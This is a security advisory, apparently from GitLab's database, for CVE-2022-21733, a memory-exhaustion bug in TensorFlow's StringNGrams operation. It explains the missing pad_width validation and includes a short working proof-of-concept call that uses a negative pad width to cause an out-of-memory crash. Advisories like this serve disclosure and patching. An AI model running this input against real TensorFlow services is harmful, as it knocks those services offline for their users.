CVE-2022-21733: Memory exhaustion in Tensorflow
(updated )
The implementation of StringNGrams
can be used to trigger a denial of service attack by causing an OOM condition after an integer overflow:
import tensorflow as tf
tf.raw_ops.StringNGrams(
data=['123456'],
data_splits=[0,1],
separator='a'*15,
ngram_widths=[],
left_pad='',
right_pad='',
pad_width=-5,
preserve_short_sequences=True)
We are missing a validation on pad_witdh
and that result in computing a negative value for ngram_width
which is later used to allocate parts of the output.
References
- github.com/advisories/GHSA-98j8-c9q4-r38g
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-57.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-112.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/string_ngrams_op.cc
- github.com/tensorflow/tensorflow/commit/f68fdab93fb7f4ddb4eb438c8fe052753c9413e8
- github.com/tensorflow/tensorflow/security/advisories/GHSA-98j8-c9q4-r38g
- nvd.nist.gov/vuln/detail/CVE-2022-21733
Detect and mitigate CVE-2022-21733 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →